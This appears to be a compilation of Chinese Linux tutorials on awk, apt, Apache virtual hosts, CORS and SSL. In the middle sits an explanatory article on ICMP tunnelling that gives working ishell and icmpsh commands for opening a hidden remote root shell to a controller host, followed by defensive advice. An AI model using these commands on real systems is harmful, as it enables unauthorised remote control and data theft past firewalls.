实践中学习 awk

内置变量

awk 中预先定义好的,内置在 awk 内部的变量。

未分类

记录

1、awk 把每一个换行符结束的行称为一个记录,$0 变量:它指的是整条记录。

# 输出 test.txt 文件中的所有记录 
awk '{print $0}' test.txt 

2、变量 NR:一个计数器,每处理完一条记录,NR 的值就增加 1。

# 输出 test.txt 中的所有记录,并在记录前显示行号
awk '{print NR, $0}' test.txt

记录中的每个单词都称作「域」,默认情况下以空格分隔。awk 可跟踪域的个数,并在内建变量 NF 中保存该值。

# 打印第一和第三个以空格分开的列(域)
awk '{print $1, $3}' test.txt

awk 命令格式

有了上边域和记录的概念,来看看 awk 的命令格式:

awk [options] 'pattern{action}' file

eg1:

# $3 == 0:是 pattern
# print $0:是 action 
awk '$3==0 {print $0}' employee  # 如果第三个域等于 0,则将这行打印

eg2:
下面这个 awk 脚本没有指定 action,但结果和 eg1 一样,没有指定 action 时默认是 {print $0}(打印整行)。

awk '$3 == 0' employee

eg3:

#将结果重定向到文件
awk '$3 == 0' employee > other.txt

域分隔符

1、输入分隔符(field separator),就是 test.txt 中每个列是以什么进行分隔的,awk 默认以空格对每一行进行分隔,分隔符得值保存在内建变量 FS中,可以通过-F命令行选项修改FS的值。

# 指定 : 作为分隔符
awk -F: '{print $1, $3}' test.txt
# 显示指定空格作为分隔符 
awk -F'[ ]' '{print $1, $3}' test.txt
# 指定空格、冒号、tab 作为分隔符
awk -F'[:t ]' '{print $1, $3}' test.txt

# 指定以逗号(,)作为分隔符
awk -F, '{print $1, $2}' separator.txt
# 使用 -v 选项对内建变量设置分隔符,和 awk -F, 效果一样  
awk -v FS=',' '{print $1, $2}' separator.txt

2、输出分隔符(out field separator), 大白话表示就是 awk 在处理完文本后以什么字符作为分隔符将每行输出,默认也是空格,保存在内建变量 OFS 中。

eg1:

# 对内建变量 OFS 赋值
awk -v OFS="->" '{print $1, $2, $3}' other.txt

输出如:

Beth->4.00->0
Dan->3.75->0

eg2:

# 同时指定输入和输出分隔符 
awk -v FS=',' -v OFS='->' '{print $1, $2}' separator.txt

模式-Pattern

根据前面的一些例子,awk 的语法如下:

awk [options] 'Pattern {Action}' file1 file2 
options(选项): 如前面使用过的 -v -F
Action(动作):如 print 

Pattern:也就是条件,一个关系表达式,awk 会逐行处理文本,处理完当前行,然后再处理下一行。如果不指定任何的「条件」,awk 会一行一行的处理完文件的每一行,如果指定了「条件」,只处理满足条件的行。这即 awk 中的模式。

# 将有四列的行打印出来 
awk 'NF == 4 {print $0}' column.txt
# 没有指定模式则是空模式,空模式会匹配文本中每一行,每一行都满足条件 
awk '{print $0}' test.txt

1、正则模式

# 将包含 in 的记录行进行打印 
awk '/in/ {print $0}' pattern.txt

2、行范围模式

eg1:

# 从第一行 到 正则匹配到的第一行 之间的所有行进行打印
awk 'NR == 1, /in/{print $0}' pattern.txt
# /xx/ 没有匹配到第二个模式,打印第一个模式出现的行到文本末尾
awk 'NR == 1, /xx/{print NR, $0}' pattern.txt

看一下结果:

未分类

eg2:

# 将第一行 到 正则匹配到的第一行中的 in 替换为 on(从记录行的左边开始,只替换一次)
# 怎么理解这个 1 呢?
# 这里有两个模式,awk 读出每行记录都会经过这两个模式的判断
# 1 表示这个模式为真,没有指定模式默认的 action 就是打印整行 
awk 'NR == 1,/in/{sub(/in/, "on")} 1' pattern.txt

未分类

再来一波例子估计就懂 eg2 中的用法了:

未分类

在 1 处,模式指定为 1 表示为真,走默认的 action 打印整行。
在 2 处,指定了两个模式,每行记录都会经过这两个模式的处理,然后分别执行模式自己的动作。
在 3 处,有 3 个模式:BEGIN 模式和 END 模式,中间的是空模式(没有指定模式)。BEGIN 模式:处理文本之前先执行的操作;END 模式:处理完所有行后需要执行的操作。

范围模式的第一个模式和第二个模式都以第一次匹配到的行为准。

awk 内建函数

字符串函数

1、sub

sub (regular expression, substitution string):
sub (regular expression, substitution string, target string)

对每一个记录行从左到右第一个匹配到的域进行替换,每一行只会匹配替换一次。

# 将每行第一次出现的域 hello 替换为 hi,每行只会匹配替换一次 
awk '{sub(/hello/, "hi"); print}' test.txt
# 对每行的第一个域进行替换 
awk '{sub(/hello/, "hi", $1); print}' test.txt

linux 用awk gsub将一行变成多行

原数据

103153926#1180545867#1337681140#1358188028#1445076068#1527059220#1625614569#1890561581#19584762#2214121812#2342720441#2500121842#25326345#2640225664#409811166#461094177#596719064#611522202#741345319#759125996#98001626#997750230
1420151716#184147046#2785699737#344498087

目标结果

103153926   1
1180545867  1
1337681140  1
1358188028  1
1445076068  1
1527059220  1
1625614569  1
1890561581  1
19584762    1
2214121812  1
2342720441  1
2500121842  1
25326345    1
2640225664  1
409811166   1
461094177   1
596719064   1
611522202   1
741345319   1
759125996   1
98001626    1
997750230   1
1420151716  2
184147046   2
2785699737  2
344498087   2

对数据进行修改,在最后加一个#

103153926#1180545867#1337681140#1358188028#1445076068#1527059220#1625614569#1890561581#19584762#2214121812#2342720441#2500121842#25326345#2640225664#409811166#461094177#596719064#611522202#741345319#759125996#98001626#997750230#
1420151716#184147046#2785699737#344498087#
awk 'BEGIN{i=1}{gsub(/#/,"t"i"n");i++;print}' uids|sed '/^$/d' > uids_seg

Linux使用awk文本处理工具实现多行合并的实例

在Linux系统中使用awk文本处理工具,有时需要将多行合并,这就需要用到awknext语句了,下面小编就给大家介绍下Linux中使用awk实现多行合并的方法,需要的朋友可以来了解下。

awknext语句使用:在循环逐行匹配,如果遇到next,就会跳过当前行,直接忽略下面语句。而进行下一行匹配。

代码如下:

text.txt 内容是:

a

b

c

d

e

  

[chengmo@centos5 shell]$ awk ‘NR%2==1{next}{print NR,$0;}’ text.txt

2 b

4 d

当记录行号除以2余 1,就跳过当前行。下面的print NR,$0也不会执行。 下一行开始,程序有开始判断NR%2 值。这个时候记录行号是:2 ,就会执行下面语句块:‘print NR,$0’

awk next使用实例:

代码如下:

要求:

文件:text.txt 格式:

web01[192.168.2.100]

httpd ok

tomcat ok

sendmail ok

web02[192.168.2.101]

httpd ok

postfix ok

web03[192.168.2.102]

mysqld ok

httpd ok

  
需要通过awk将输出格式变成:

web01[192.168.2.100]: httpd ok

web01[192.168.2.100]: tomcat ok

web01[192.168.2.100]: sendmail ok

web02[192.168.2.101]: httpd ok

web02[192.168.2.101]: postfix ok

web03[192.168.2.102]: mysqld ok

web03[192.168.2.102]: httpd ok

分析:

分析发现需要将包含有“web”行进行跳过,然后需要将内容与下面行合并为一行。

[chengmo@centos5 shell]$ awk ‘/^web/{T=$0;next;}{print T“:t”$0;}’ test.txt

web01[192.168.2.100]: httpd ok

web01[192.168.2.100]: tomcat ok

web01[192.168.2.100]: sendmail ok

web02[192.168.2.101]: httpd ok

web02[192.168.2.101]: postfix ok

web03[192.168.2.102]: mysqld ok

web03[192.168.2.102]: httpd ok

  
上面就是Linux使用awk进行多行合并的方法介绍了,在文中使用next语句是十分方便的,在循环匹配中,如果遇到next,就会自动跳过,从而实现多行合并。

debian9利用apt安装显卡驱动

安装头文件

sudo apt-get install linux-headers-$(uname -r|sed 's,[^-]*-[^-]*-,,') nvidia-kernel-dkms

安装配置文件生成器

sudo apt-get install nvidia-xconfig

重启

reboot

安装驱动

apt-get install nvidia-driver

生成配置文件

nvidia-xconfig

重启

reboot

查看驱动

nvidia-settings

利用官网得 run文件安装,把我折磨的够呛。不是缺这就是缺那。。。
利用apt安装就是爽

APT攻击之ICMP隐蔽信道穿越防火墙(二)

ICMP全称为因特网控制信息协议其数据包封装在 IP包的数据部分,也就是说它是位于IP层之上的一个协议 但是通常将它归人IP层。

ICMP通过在支持它的主机之间、 主机与路由器之间发送ICMP数据包 来实现信息查询和错误通知的功能。

ICMP有很多类型的数据报,例如,可以利用icmp获取主机信息,当前时间、路由信息,IP数据包可达的错误信息等。正是由于这些功能的实现,方便了开发者和运维人员,同时也为网络攻击者利用ICMP进行攻击带来了可乘之机。

目前,据我所知,利用ICMP有以下攻击手段;

  1. 利用ICMP echo数据包进行DDOS攻击,

  2. 利用ICMP重定向报文进行IP欺骗和窃听

  3. 利用ICMP的路由器的广播报文进行IP欺骗

  4. 利用ICMP隧道机制绕过防火墙进行远程控制和数据窃取

以上四中攻击方式中利用ICMP进行攻击最严重、影响范围最大就是第4种攻击手法了。也是APT攻击者经常使用的攻击手法之一。

下面结合案例重点说说使如何利用开源工具,绕过防火墙的。上次已经介绍了一种利用ICMP隧道进行常规端口的转发(https://mp.weixin.qq.com/s?__biz=MzIyMjc3NjIwMw==&mid=2247483806&idx=1&sn=93d3de1b014845f9a549e7b256a5feb6&chksm=e8291f7adf5e966ca7a572ecc304e25d7721a394ca01306917ce86b76219b9d60b0c3218dec5&token=249731531&lang=zh_CN&scene=21#wechat_redirect)。今天来说说,在主机不需要开任何端口的情况下如何绕过企业的防火墙对被控主机进行远程控制和窃取数据。

一、目前网络现状

目前企业的生产环境基本是业务服务器在DMZ区域,客户端在内外区域,服务器和客户端主机可以使用社会工程学方式。例如通过电子邮件钓鱼或者水坑攻击的方式把木马程序附加在pdf文档或者office文档载体中,一旦程序运行,就可以接收到来自攻击者机器上的客户端的ICMPecho数据包,客户端把要执行的指令封装到ICMP数据包中,当服务器接收到该数据包,解析指令,并在受控主机上运行。把结果再封装进ICMP数据包中,回传给攻击者。

现在企业的防火墙对有外到内的行为是禁止的,但是为了管理和维护方便,一般ICMP协议都是开启状态的。这样就实现了穿越防火墙的目的。

该种攻击,因为对受控主机进行数据窃取和远程控制,所以具有非常大的危害性。

二、攻击演示

下面列举了详细的攻击过程和攻击方式,方便更加细致和透彻的理解ICMP隧道的机制。

未分类

首先需要在被控主机上安装icmpshell,对其进行编译后会生成两个可执行的文件,一个是ish是控制端使用的,一个是ishd是被控端使用的。

命令如下:

tar -zxvf ish-v0.2.tar.gz

cd ISHELL-v0.2

make && make linux

未分类

安装之后,需要在被控端服务器执行如下命令:

  • -i 指定ID,标识自己的请求

  • -t 指定icmp数据的类型

  • -p 指定 icmp 数据 包大小 ,一般 情况下 1024 即可

./ishd -i 555 -t 0 -p 1099 &

在被控主机上执行如下命令,主动连接到

./ish -i 555 -t 0 -p 1099 主控制端IP地址

未分类

在主控端,需要指定相同的表示id,以表明自己的身份信息,发送的数据包大小为1099字节,和对方可以ping通的ip地址。就能够通过ICMP协议成功连接到被控主机系统,并且具有root权限,可以进行任何操作。

未分类

在操作过程中也通过tcpdump对数据流进行数据包,因为icmp是明文通讯协议,所有的数据包通讯内容都可以在数据包中回溯和还原整个攻击的场景,如下图在数据包中可以清晰的看到执行的命令,查看的数据内容,并且可以通过icmp协议传输数据。

未分类

在icmp隧道的应用中还有一个非常好用的攻击,那就是icmpsh。该软件的稳定性非常好,而且每个1秒受控主机不停的给主控端主机发送ICMP的心跳数据包。

在主控主机上运行如下命令:先关闭主机自身的icmp,防止出现不稳定的情况。

sysctl -w net.ipv4.icmp_echo_ignore_all=1 (sysctl -w net.ipv4.icmp_echo_ignore_all=0 恢复正常状态)
  • -t:制定主控端的IP地址,必填项

  • -d milliseconds 延迟

  • -b num 限制块

  • -s bytes 发送的最大字节

在主控端执行命令

python icmp_m.py 192.168.1.29[本地主机] 192.168.1.34[被控主机]

受控主机执行:

icmpsh.exe -t 192.168.1.29[主控端地址] -d 600 -b 20 -s 256

未分类

三、对策和建议

使用DPI深度包解析技术,对ICMP数据包内容进行进行检查,是否符合icmp协会规范和RFC标准。这样检查对设备的性能要求特别高,设置出错不但不能检测还能影响整个网络的带宽速率。

折中的方法,可以利用机器学习方法进行检测。例如:可以利用神经网络和贝叶斯算法,对ICMP的异常进行概率统计,找到异常通讯的ICMP数据包,进行安全检测。

最有效的解决方法是在互联网出口对ICMP协议进行完全禁止。或者只对信任的IP源地址开发ICMP通讯。

Linux中apt与apt-get命令的区别与解释

Ubuntu 16.04 发布时,一个引人注目的新特性便是 apt 命令的引入。其实早在 2014 年,apt 命令就已经发布了第一个稳定版,只是直到 2016 年的 Ubuntu 16.04 系统发布时才开始引人关注。

随着 apt install package 命令的使用频率和普遍性逐步超过 apt-get install package,越来越多的其它 Linux 发行版也开始遵循 Ubuntu 的脚步,开始鼓励用户使用 apt 而不是 apt-get。

那么,apt-get 与 apt 命令之间到底有什么区别呢?如果它们有类似的命令结构,为什么还需要新的 apt 命令呢?是否 apt 真的比 apt-get 更好?普通用户应该使用新的 apt 命令还是坚持旧有习惯继续使用 apt-get 呢?

系统极客将在本文中解释所有这些问题,我们希望本文结束时,你将会有一个更清晰的了解。

apt与apt-get

在开始对比 apt 与 apt-get 命令的区别之前,我们先来看看这两个命令的背景,以及它们要试图达到的目的。

Debian 作为 Ubuntu、Linux Mint 和 elementary OS 等 Linux 操作系统的母板,其具有强健的「包管理」系统,它的每个组件和应用程序都内置在系统中安装的软件包中。Debian 使用一套名为 Advanced Packaging Tool(APT)的工具来管理这种包系统,不过请不要把它与 apt 命令混淆,它们之间是其实不是同一个东西。

在基于 Debian 的 Linux 发行版中,有各种工具可以与 APT 进行交互,以方便用户安装、删除和管理的软件包。apt-get 便是其中一款广受欢迎的命令行工具,另外一款较为流行的是 Aptitude 这一命令行与 GUI 兼顾的小工具。

如果你已阅读过我们的 apt-get 命令指南(https://www.sysgeek.cn/linux-package-management/),可能已经遇到过许多类似的命令,如apt-cache、apt-config 等。如你所见,这些命令都比较低级又包含众多功能,普通的 Linux 用户也许永远都不会使用到。换种说法来说,就是最常用的 Linux 包管理命令都被分散在了 apt-get、apt-cache 和 apt-config 这三条命令当中。

apt 命令的引入就是为了解决命令过于分散的问题,它包括了 apt-get 命令出现以来使用最广泛的功能选项,以及 apt-cache 和 apt-config 命令中很少用到的功能。

在使用 apt 命令时,用户不必再由 apt-get 转到 apt-cache 或 apt-config,而且 apt 更加结构化,并为用户提供了管理软件包所需的必要选项。

简单来说就是:apt = apt-get、apt-cache 和 apt-config 中最常用命令选项的集合。

apt与apt-get之间的区别

通过 apt 命令,用户可以在同一地方集中得到所有必要的工具,apt 的主要目的是提供一种以「让终端用户满意」的方式来处理 Linux 软件包的有效方式。

apt 具有更精减但足够的命令选项,而且参数选项的组织方式更为有效。除此之外,它默认启用的几个特性对最终用户也非常有帮助。例如,可以在使用 apt 命令安装或删除程序时看到进度条。

未分类

apt 还会在更新存储库数据库时提示用户可升级的软件包个数。

未分类

如果你使用 apt 的其它命令选项,也可以实现与使用 apt-get 时相同的操作。

apt和apt-get命令之间的区别

虽然 apt 与 apt-get 有一些类似的命令选项,但它并不能完全向下兼容 apt-get 命令。也就是说,可以用 apt 替换部分 apt-get 系列命令,但不是全部。

未分类

当然,apt 还有一些自己的命令:

未分类

需要大家注意的是:apt 命令也还在不断发展, 因此,你可能会在将来的版本中看到新的选项。

apt-get已弃用?

目前还没有任何 Linux 发行版官方放出 apt-get 将被停用的消息,至少它还有比 apt 更多、更细化的操作功能。对于低级操作,仍然需要 apt-get。

我应该使用apt还是apt-get?

既然两个命令都有用,那么我该使用 apt 还是 apt-get 呢?作为一个常规 Linux 用户,系统极客建议大家尽快适应并开始首先使用 apt。不仅因为广大 Linux 发行商都在推荐 apt,更主要的还是它提供了 Linux 包管理的必要选项。

最重要的是,apt 命令选项更少更易记,因此也更易用,所以没理由继续坚持 apt-get。

小结

最后结大家提供两点使用上的建议:

  • apt 可以看作 apt-get 和 apt-cache 命令的子集, 可以为包管理提供必要的命令选项。
  • apt-get 虽然没被弃用,但作为普通用户,还是应该首先使用 apt。

Apache虚拟主机测试

一、虚拟机主机简介

   
部署多个站点,每个站点,希望用不同的域名和站点目录,或者是不同的端口,或不同的ip,就需要虚拟主机功能。简单的说一个http服务要配置多个站点,就需要虚拟主机。(一句话一个http服务要配置多个站点,就需要虚拟主机)

二、虚拟主机分类

  1. 基于域名
  2. 基于端口
  3. 基于ip

所谓的基于XX,就是靠XX来区分不同的站点,支持各种混合,N多个虚拟主机。

三、基于域名虚拟主机实例

域名              站点
www.qzl.com      /var/html/www    
blog.qzl.com     /var/html/blog
bbs.qzl.com      /var/html/bbs       

1.创建虚拟主机目录

[root@A extra]# mkdir -p /var/html/{www,blog,bbs}
[root@A extra]# touch /var/html/{www,blog,bbs}/index.html
[root@A www]# for name in www blog bbs ;do echo "http://$name.qzl.com" >/var/html/$name/index.html;done

[root@A www]# for name in www blog bbs ;do cat /var/html/$name/index.html;done
http://www.qzl.com
http://blog.qzl.com
http://bbs.qzl.com

2.修改配置文件

[root@A conf]# grep ^Include httpd.conf 
Include conf/extra/httpd-vhosts.conf    #打开加载,加载虚拟主机配置文件

[root@A extra]# vim httpd-vhosts.conf
<VirtualHost *:80>
    ServerAdmin 83891*[email protected]      #配置管理员邮箱
    DocumentRoot "/var/html/www"      #配置虚拟主机目录
    ServerName www.qzl.com          #配置域名
    ErrorLog "logs/www-error_log"      #配置错误日志路径
    CustomLog "logs/www-access_log" common   #配置访问日志路径
</VirtualHost>

<VirtualHost *:80>
    ServerAdmin 83891*[email protected]      #注意,这里应该是你管理员的有效的邮箱,而不应该打掩码的,
    DocumentRoot "/var/html/blog"
    ServerName blog.qzl.com
    ErrorLog "logs/blog-error_log"
    CustomLog "logs/blog-access_log" common
</VirtualHost>

<Directory /var/html>
    Options FollowSymLinks #FollowSymLinks表示禁止使用符号链接,Indexes表示允许目录浏览
    AllowOverride None    #表示禁止用户对目录配置文件(.htaccess进行修改)重载
    Order allow,deny     #以allow优先处理,没有明确说明允许的话都将拒绝访问
    allow from all      #允许所有的访问
</Directory>

3.修改本地的hosts文件(用于DNS解析)

未分类

4.优雅启动apache

[root@A apache]# /application/apache/bin/apachectl graceful
httpd: Could not reliably determine the server's fully qualified domain name, using 192.168.1.7 for ServerName
解决办法:
将httpd.conf 里第99行,修改ServerName 127.0.0.1:7

说明:这里可以用restart重启,但是用graceful更好,这个参数可以在处理完毕请求后再重新启动,即重启时不会强行中断用户访问,所以建议用graceful这个参数

5.Apache日志

1) 通用日志格式(CommonLog Format)
  组合日志格式(CombinedLOG Format)

2) 安装日志轮询工具cronolog(链接:https://pan.baidu.com/s/1xZBQbgahwCdv8l47kWz2LQ 提取码:7zd3 )

cd /home/king/tools/
wget http://cronolog.org/download/cronolog-1.6.2.tar.gz
tar xf cronolog-1.6.2.tar.gz 
cd cronolog-1.6.2
./configure 
make 
make install
cd /usr/local/sbin/
pwd
ll /usr/local/sbin

查看 ll /usr/local/sbin/ 可以看到俩文件cronolog 和cronosplit权限都是755 的权限

说明:cronolog轮询日志的正确写法,被轮询的日志路径要写全路径这是大多数网站的常规配置方法(按天记录日志,日志不会自动覆盖)修改配置文件日志vim httpd-vhosts.conf

<VirtualHost *:80>
    ServerAdmin 83891*[email protected]
    DocumentRoot "/var/html/www"
    ServerName www.qzl.com
    ErrorLog "|/usr/local/sbin/cronolog /application/apache/logs/www-error_%Y%m%d.log" 
    CustomLog "|/usr/local/sbin/cronolog /application/apache/logs/www-access_%Y%m%d.log" combined
</VirtualHost>

四.举例子

例1:apache不记录图片的日志

答:因为统计日志PV时一个页面才算一个PV,而图片,JS,CSS等只是图片的元素,如果记录在日志里,然后按日志行进行计算PV就不准确了,所以可以考虑不记录图片等日志。

<FilesMatch ".(css|js|gif|jpg|ico|swf)">
    setEnv IMAG 1
</FilesMatch>

CustomLog "|/usr/local/sbin/cronolog /application/apache/logs/www-access_%Y%m%d.log" combined  env=!IMAG

例2:RS服务器不记录负载均衡健康检查日志

虚拟主机不记录负载均衡向下健康检查文件的日志(check.txt)

SetEnvIf Request_URI "^/check.txt$" dontlog
CustomLog "|/usr/local/sbin/cronolog /application/apache/logs/www-access_%Y%m%d.log" combined  env=!dontlog

例3:日志统计

awk '{print $1}' 文件名字|sort|uniq -c|sort -rn |head -10

庖丁解牛,高大上的日志统计命令:

awk '{++S[$1]} END {for(key in S) print S[key],key}' 文件名字|sort -rn -k1|head -10

首先++S是一个名字为S的数组,for循环key是在名字为S的数组中取值,然后按照key的默认格式打印出来,在sort进行排序。

nginx/apache 配置静态资源允许跨域访问

有时为了优化网站访问速度,会给一些静态资源配置cdn加速,但是有时候会出现跨域访问的问题,在nginx和apache服务中可进行如下配置

1. apache

找到apache配置文件httpd.conf

找到这行

#LoadModule headers_module modules/mod_headers.so

把#注释符去掉

LoadModule headers_module modules/mod_headers.so

目的是开启apache头信息自定义模块

在独立主机配置文件中新增header

Header set Access-Control-Allow-Origin *

例如:

<VirtualHost *:88>
  ServerAdmin [email protected]
  DocumentRoot "****************"
  ServerName www.jianzhi12.com
  Header set Access-Control-Allow-Origin *

  ErrorLog "***********"
  CustomLog "****************************" common
<Directory "**************">
  SetOutputFilter DEFLATE
  Options FollowSymLinks ExecCGI
  Require all granted
  AllowOverride All
  Order allow,deny
  Allow from all
  DirectoryIndex index.html index.php
</Directory>
</VirtualHost>
ApacheCopy

意思是对这个域名的资源进行访问时,添加一个头信息

重启apache

service httpd restart

2. nginx

同理 找到相应域名配置文件

在server模块中添加配置:

add_header ‘Access-Control-Allow-Origin’ ‘*’;1

例:

server {
        listen       80;
        add_header 'Access-Control-Allow-Origin' '*';
        location /Roboto/ {
            root   /home/images;
            autoindex on;
        }
    }

nginx重载

./nginx -s reload

Apache安装SSL证书

1.创建私钥(可选,用于申请证书):

openssl genrsa 2048 > private-key.pem

2.创建证书签名 (CSR,可选):

openssl req -new -key private-key.pem -out csr.pem

3.上传到服务器:

scp ./STAR_yourdomain_com/* yourdomain:/etc/pki/tls/private/

4.合并正规渠道获得的证书:

cat STAR_yourdomain_com.crt COMODORSADomainValidationSecureServerCA.crt COMODORSAAddTrustCA.crt AddTrustExternalCARoot.crt > ssl-bundle.crt

5.配置Apache(不再累述详细配置过程):

<VirtualHost *:443>
  ServerName *.yourdomain.com
  SSLEngine on

  SSLCertificateFile /etc/pki/tls/private/STAR_yourdomain_com.crt
  SSLCertificateKeyFile /etc/pki/tls/private/STAR_yourdomain_com.key
  SSLCertificateChainFile /etc/pki/tls/private/ssl-bundle.crt
  SSLCACertificateFile /etc/pki/tls/private/AddTrustExternalCARoot.crt
</VirtualHost>